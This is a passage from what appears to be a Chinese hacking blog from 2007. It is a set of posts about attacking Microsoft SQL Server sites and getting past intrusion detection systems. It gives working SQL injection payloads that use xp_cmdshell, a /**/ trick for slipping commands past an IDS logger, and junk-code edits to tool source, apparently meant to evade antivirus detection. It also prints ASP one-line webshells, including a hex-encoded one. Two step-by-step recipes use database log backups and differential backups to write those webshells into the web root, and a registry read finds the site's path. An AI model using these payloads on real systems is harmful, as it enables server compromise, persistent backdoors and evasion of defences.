  这个代码相信大家都能看明白,还有xp_cmdshell作为一个store procedure在master库内有一个id号,固定的,我们也可以这么做

  假设这个id=988456
declare @a sysname select @a=name from sysobjects where id=988456 exec @a 'dir c:\'

  当然也可以
declare @a sysname select @a=name from sysobjects where id=988455 1 exec @a 'dir c:\'

  这种做法排列组合,ids根本不可能做的到完全监视。

  同理,sp_addlogin也可以这么做。

  再说说攻击ids:

  因为ids数据量很大,日至通常备份到常规数据库,比如sql server。

  如果用古老的recordset.addnew做法,会严重影响ids的性能,因为通过ado做t-sql请求,不但效率高,而且有一部分工作可以交给sql server 去做

  通常程序会这么写 insert table values ('日至内容',...)

  那么我们想想看,如果用 temp') exec xp_cmdshell 'dir c:\' -- 提交后会变成
insert table values ('日至内容'....'temp') exec xp_cmdshell 'dir c:\' -- ')

  这样,xp_cmdshell就可以在ids的数据库运行了 :)

  当然ids是一个嗅叹器,他会抓所有的报,而浏览器提交的时候会把空格变成 。因此, 会被提交到sql server,这样你的命令就无法执行了。 唯一的办法就是
insert/**/table/**/values('日至内容'....'temp')/**/exec/**/xp_cmdshell/**/'dir c:\'/**/-- ')

  用/**/代替空格做间隔符,这样你的t-sql才能在ids的数据库内执行。当然也可以用其他语句,可以破坏,备份ids的数据库到你的共享目录,呵呵。

  其实这种方法的原理和攻击asp是一样的,只是把空格变成了/**/ 。本来asp是select语句,那么用'就可以屏蔽。现在ids用insert语句,那么用')屏蔽。

  好了,其他很多新的入侵语句大家可以自己慢慢想,最好的测试工具就是query analyzer了

- 作者: Lvhu4na 2007年05月25日, 星期五 17:19  回复(0) |  引用(1) 加入博采

.cpp文件小修改方法

在main参数后面添加for( int lvhuana=0;lvhuana<=100;lvhuana++){ lvhuana+3; }这个垃圾数据。

比如:

VOID main(int argc, char* argv[])
{
     char **p;
     char sConnectHost[HOSTLEN], sTransmitHost[HOSTLEN];
     int iConnectPort=0, iTransmitPort=0;
     char *logfile=NULL;

修改成:

VOID main(int argc, char* argv[])
{for( int lvhuana=0;lvhuana<=100;lvhuana++){ lvhuana+3; }
     char **p;
     char sConnectHost[HOSTLEN], sTransmitHost[HOSTLEN];
     int iConnectPort=0, iTransmitPort=0;
     char *logfile=NULL;


可以达到你想要的某些结果。

- 作者: Lvhu4na 2007年04月22日, 星期日 11:06  回复(0) |  引用(1) 加入博采

DB_ONER权限日志备分专用一句话木马
文章来源:二少BLOG

<%eval(request("a")):response.end%> 备分专用一句话
加个response.end会有不一样的效果,也就是插入一句话后所有的代码都无效,在一句话这里打止,也就减小了webshell的大小.

日志备分WEBSHELL标准的七步:

1.InjectionURL';alter database XXX set RECOVERY FULL-- (把SQL设置成日志完全恢复模式)

2.InjectionURL';create table cmd (a image)-- (新建立一个cmd表)

3.InjectionURL';backup log XXX to disk = 'c:\cmd' with init-- (减少备分数据的大小)

4.InjectionURL';insert into cmd (a) values ('<%%25eval(request("a")):response.end%%25>')-- (插入一句话木马)

5.InjectionURL';backup log XXX to disk = 'd:\chinakm\test.asp'-- (备分日志到WEB路径)

6.InjectionURL';drop table cmd-- (删除新建的cmd表)

7.InjectionURL';alter database XXX set RECOVERY SIMPLE--(把SQL设置成日志简单恢复模式)

注:InjectionURL是注入点,XXX是数据库名称.

附上DB_ONER权限HACK的其他技巧,希望对菜菜有所帮助,高手略过.

数据库差异备份代码:

1、create table [dbo].[jm_tmp] ([cmd] [image])-- 创建一个表

2、 declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0X6A006D00640063007700 backup database @a to disk = @s --备份数据库,@s为备份名称(jmdcw的16进制转换)

3、insert into [jm_tmp](cmd) values(0x3C2565786563757465287265717565737428226C222929253E)--将一句话木马 "<%execute(request("l"))%>"的16进制字符插入到表中

4、declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s='C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\40\isapi\hsqq.asp' backup database @a to disk = @s WITH DIFFERENTIAL,FORMAT --对数据库实行差异备份,备份的保存路径暂定为C盘目录,文件名为hsqq.asp。

5、drop table [jm_tmp]-- 删除此表。

网站物理路径读取代码:

1、drop table [jm_tmp];create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000) null)-- 创建表

2、 delete [jm_tmp];insert [jm_tmp] exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/'-- 将网站目录插到表字段中

3、and (select top 1 cast([data]